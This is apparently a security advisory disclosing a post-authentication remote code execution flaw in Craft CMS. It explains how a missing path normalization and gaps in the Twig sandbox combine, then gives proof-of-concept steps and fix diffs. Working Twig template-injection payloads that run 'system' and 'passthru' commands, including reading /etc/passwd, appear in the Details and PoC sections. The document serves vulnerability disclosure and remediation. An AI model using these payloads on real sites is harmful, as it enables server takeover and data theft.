Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start

mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start

<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">

2. Create a new filesystem with base path ../templates/poc

<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">

Notice that the poc directory was created

<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">

3. Create a new asset volume using the poc filesystem

<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">

Upload a poc.ttml file with RCE template code

{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">

4. Create a new route * with template poc/poc.ttml

<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">

5. This leads to Remote Code Execution on arbitrary route /*

<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">

Remediation

diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
             $from = static::absolutePath($from, ds: $ds);
         }

-        return $from . $ds . $to;
+        return FileHelper::normalizePath($from . $ds . $to);
     }

     /**

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
             new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
             new TwigFilter('literal', [$this, 'literalFilter']),
             new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+            new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+            new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+            new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
             new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('merge', [$this, 'mergeFilter']),

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)